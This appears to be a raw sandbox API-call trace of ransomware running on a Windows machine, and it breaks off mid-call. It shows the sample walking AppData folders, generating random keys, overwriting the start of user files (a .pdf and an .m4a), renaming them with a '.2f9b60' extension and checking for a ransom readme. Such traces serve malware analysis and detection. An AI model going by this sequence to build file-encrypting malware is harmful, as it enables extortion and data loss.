returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0101.225] wcscat (in: _Dest=0x1b79d570, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\" [0101.225] wcscat (in: _Dest=0x1b79d570, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*" [0101.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0101.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858c70 [0101.226] wcscmp (_String1=".", _String2=".") returned 0 [0101.226] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.226] wcscmp (_String1="..", _String2=".") returned 1 [0101.226] wcscmp (_String1="..", _String2="..") returned 0 [0101.226] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0101.226] wcscmp (_String1="Flash Player", _String2=".") returned 1 [0101.226] wcscmp (_String1="Flash Player", _String2="..") returned 1 [0101.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b14b0 [0101.226] wcscpy (in: _Dest=0x202b14b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0101.226] wcscat (in: _Dest=0x202b14b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\" [0101.226] wcscat (in: _Dest=0x202b14b0, _Source="Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0129.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b14b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x162c [0129.904] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0129.904] FindClose (in: hFindFile=0x1b858c70 | out: hFindFile=0x1b858c70) returned 1 [0129.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0129.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d570) returned 1 [0129.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d670) returned 1 Thread: id = 938 os_tid = 0x1550 [0101.230] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-wPC87w olKN5R.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-wpc87w olkn5r.pdf")) returned 0x2020 [0101.231] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-wPC87w olKN5R.pdf", dwFileAttributes=0x20) returned 1 [0103.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o-wPC87w olKN5R.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o-wpc87w olkn5r.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x173c [0103.065] GetFileSizeEx (in: hFile=0x173c, lpFileSize=0x2f3af880 | out: lpFileSize=0x2f3af880*=41661) returned 1 [0103.065] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0xa2b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.065] ReadFile (in: hFile=0x173c, lpBuffer=0x2f3af800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f3af848, lpOverlapped=0x0 | out: lpBuffer=0x2f3af800*, lpNumberOfBytesRead=0x2f3af848*=0x4, lpOverlapped=0x0) returned 1 [0103.066] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0103.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0103.066] NtQuerySystemTime (in: CurrentTime=0x2f3af740 | out: CurrentTime=0x2f3af740*=132462177085678000) returned 0x0 [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x54a6d3ed [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x7e27a892 [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x1e956c3d [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x66066e5a [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x50f2bd74 [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x2ba2d32e [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x21c3ac40 [0103.066] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x7f03d14c [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x47aa7b6b [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x34ec02eb [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x330eaef0 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x76035233 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x2d1a924 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x25a6e0db [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x115a1593 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x2c178229 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x5c340db2 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x529db17f [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x32d9de59 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x1c0e23b0 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x7c9704fb [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x5f5d3508 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x1c0e23b0 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x1e92533b [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x2136256e [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x678c141f [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x3d7db393 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x1ca246d2 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x11a8aff4 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x4907554c [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x63ac2381 [0103.067] RtlRandomEx (in: Seed=0x2f3af730 | out: Seed=0x2f3af730) returned 0x538e7469 [0103.078] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.078] ReadFile (in: hFile=0x173c, lpBuffer=0x41f75950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f3af7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f75950*, lpNumberOfBytesRead=0x2f3af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.078] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263530) returned 1 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f79560 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0103.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263050 [0103.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263050) returned 1 [0103.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.080] WriteFile (in: hFile=0x173c, lpBuffer=0x41f79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f3af7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesWritten=0x2f3af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0103.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f75950) returned 1 [0103.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f230 [0103.406] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.406] WriteFile (in: hFile=0x173c, lpBuffer=0x4205aad0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f3af850, lpOverlapped=0x0 | out: lpBuffer=0x4205aad0*, lpNumberOfBytesWritten=0x2f3af850*=0x118, lpOverlapped=0x0) returned 1 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f30 [0103.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f30) returned 1 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262f30 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0103.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263560 [0103.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263560) returned 1 [0103.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd867f0 [0103.811] sprintf (in: _Dest=0x1cd867f0, _Format="%c%c" | out: _Dest="83") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867f2, _Format="%c%c" | out: _Dest="cf") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867f4, _Format="%c%c" | out: _Dest="d8") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867f6, _Format="%c%c" | out: _Dest="d7") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867f8, _Format="%c%c" | out: _Dest="69") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867fa, _Format="%c%c" | out: _Dest="b8") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867fc, _Format="%c%c" | out: _Dest="e7") returned 2 [0103.811] sprintf (in: _Dest=0x1cd867fe, _Format="%c%c" | out: _Dest="d0") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86800, _Format="%c%c" | out: _Dest="2a") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86802, _Format="%c%c" | out: _Dest="ca") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86804, _Format="%c%c" | out: _Dest="6c") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86806, _Format="%c%c" | out: _Dest="16") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86808, _Format="%c%c" | out: _Dest="80") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8680a, _Format="%c%c" | out: _Dest="9e") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8680c, _Format="%c%c" | out: _Dest="8e") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8680e, _Format="%c%c" | out: _Dest="a2") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86810, _Format="%c%c" | out: _Dest="55") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86812, _Format="%c%c" | out: _Dest="58") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86814, _Format="%c%c" | out: _Dest="af") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86816, _Format="%c%c" | out: _Dest="d9") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86818, _Format="%c%c" | out: _Dest="22") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8681a, _Format="%c%c" | out: _Dest="e8") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8681c, _Format="%c%c" | out: _Dest="6c") returned 2 [0103.811] sprintf (in: _Dest=0x1cd8681e, _Format="%c%c" | out: _Dest="67") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86820, _Format="%c%c" | out: _Dest="b6") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86822, _Format="%c%c" | out: _Dest="73") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86824, _Format="%c%c" | out: _Dest="ea") returned 2 [0103.811] sprintf (in: _Dest=0x1cd86826, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86828, _Format="%c%c" | out: _Dest="2b") returned 2 [0103.812] sprintf (in: _Dest=0x1cd8682a, _Format="%c%c" | out: _Dest="47") returned 2 [0103.812] sprintf (in: _Dest=0x1cd8682c, _Format="%c%c" | out: _Dest="d7") returned 2 [0103.812] sprintf (in: _Dest=0x1cd8682e, _Format="%c%c" | out: _Dest="da") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86830, _Format="%c%c" | out: _Dest="76") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86832, _Format="%c%c" | out: _Dest="5a") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86834, _Format="%c%c" | out: _Dest="76") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86836, _Format="%c%c" | out: _Dest="39") returned 2 [0103.812] sprintf (in: _Dest=0x1cd86838, _Format="%c%c" | out: _Dest="b3") returned 2 [0103.812] sprintf (in: _Dest=0x1cd8683a, _Format="%c%c" | out: _Dest="ed") returned 2 [0103.812] RtlInitAnsiString (in: DestinationString=0x2f3af8c8, SourceString="83cfd8d769b8e7d02aca6c16809e8ea25558afd922e86c67b673ea5c2b47d7da765a7639b3ed" | out: DestinationString="83cfd8d769b8e7d02aca6c16809e8ea25558afd922e86c67b673ea5c2b47d7da765a7639b3ed") [0103.812] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f3af898, SourceString="83cfd8d769b8e7d02aca6c16809e8ea25558afd922e86c67b673ea5c2b47d7da765a7639b3ed", AllocateDestinationString=1 | out: DestinationString="83cfd8d769b8e7d02aca6c16809e8ea25558afd922e86c67b673ea5c2b47d7da765a7639b3ed") returned 0x0 [0103.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d4d0 [0103.812] wcscat (in: _Dest=0x4205db90, _Source="83cfd8d769b8e7d02ac" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac" [0103.812] wcscat (in: _Dest=0x4205db90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac.2f9b60" [0103.812] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac.2f9b60", NtPathName=0x2f3af870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\83cfd8d769b8e7d02ac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1070c0 [0104.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0104.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420578c0) returned 1 [0104.409] NtQueryInformationFile (in: FileHandle=0x173c, IoStatusBlock=0x2f3af8d8, FileInformation=0x2f3af8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f3af8d8, FileInformation=0x2f3af8e8) returned 0x0 [0104.409] NtSetInformationFile (FileHandle=0x173c, IoStatusBlock=0x2f3af8d8, FileInformation=0x2f3af8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 [0104.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d4d0) returned 1 [0104.414] FlushFileBuffers (hFile=0x173c) returned 1 [0104.418] CloseHandle (hObject=0x173c) returned 1 [0104.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x20509cc0 [0104.419] wcscpy (in: _Dest=0x20509cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.419] wcscat (in: _Dest=0x20509cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.419] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509cc0) returned 1 [0104.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4da0) returned 1 Thread: id = 939 os_tid = 0x1554 [0101.234] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o3afMnaZdhErEuYa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o3afmnazdhereuya.m4a")) returned 0x2020 [0101.234] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o3afMnaZdhErEuYa.m4a", dwFileAttributes=0x20) returned 1 [0103.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\o3afMnaZdhErEuYa.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\o3afmnazdhereuya.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x175c [0103.154] GetFileSizeEx (in: hFile=0x175c, lpFileSize=0x2f32fc60 | out: lpFileSize=0x2f32fc60*=17699) returned 1 [0103.154] SetFilePointerEx (in: hFile=0x175c, liDistanceToMove=0x451f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.154] ReadFile (in: hFile=0x175c, lpBuffer=0x2f32fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f32fc28, lpOverlapped=0x0 | out: lpBuffer=0x2f32fbe0*, lpNumberOfBytesRead=0x2f32fc28*=0x4, lpOverlapped=0x0) returned 1 [0103.155] SetFilePointerEx (in: hFile=0x175c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0103.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0103.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.155] NtQuerySystemTime (in: CurrentTime=0x2f32fb20 | out: CurrentTime=0x2f32fb20*=132462177086614000) returned 0x0 [0103.155] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x67305a63 [0103.155] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x25d96ee2 [0103.155] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x5474adec [0103.155] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x77cde352 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x56f90035 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x55bded61 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x351d017d [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x41574822 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x3a349c1c [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x4307b27f [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x5676d386 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x63662141 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x7a6a2222 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x2f76592 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x5877e062 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x2d453dec [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x3137df01 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x150fefbd [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x21532d37 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0xe8949a0 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x71f519c0 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x4cea3f19 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x7fce6ba3 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x63bbd2c1 [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x7227dd7d [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x7bf4bdcf [0103.156] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x37691581 [0103.157] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x65ca69e5 [0103.157] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x11bb485a [0103.157] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x628fe581 [0103.157] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x11e1dca4 [0103.157] RtlRandomEx (in: Seed=0x2f32fb10 | out: Seed=0x2f32fb10) returned 0x4086259 [0103.170] SetFilePointerEx (in: hFile=0x175c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.170] ReadFile (in: hFile=0x175c, lpBuffer=0x41f178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f32fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesRead=0x2f32fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0103.170] SetFilePointerEx (in: hFile=0x175c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 